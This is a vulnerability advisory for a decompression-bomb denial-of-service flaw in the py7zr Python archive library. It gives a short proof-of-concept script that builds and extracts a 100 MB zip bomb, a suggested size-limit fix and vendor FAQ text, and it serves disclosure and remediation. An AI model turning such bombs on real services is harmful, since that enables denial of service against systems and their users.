Summary
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract, no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2026-55195? CVE-2026-55195 is a medium-severity security vulnerability in py7zr (pip), affecting versions <= 1.1.2. It is fixed in 1.1.3.
- Which versions of py7zr are affected by CVE-2026-55195? py7zr (pip) versions <= 1.1.2 is affected.
- Is there a fix for CVE-2026-55195? Yes. CVE-2026-55195 is fixed in 1.1.3. Upgrade to this version or later.
- Is CVE-2026-55195 exploitable, and should I be worried? Whether CVE-2026-55195 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55195 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55195? Upgrade
py7zrto 1.1.3 or later.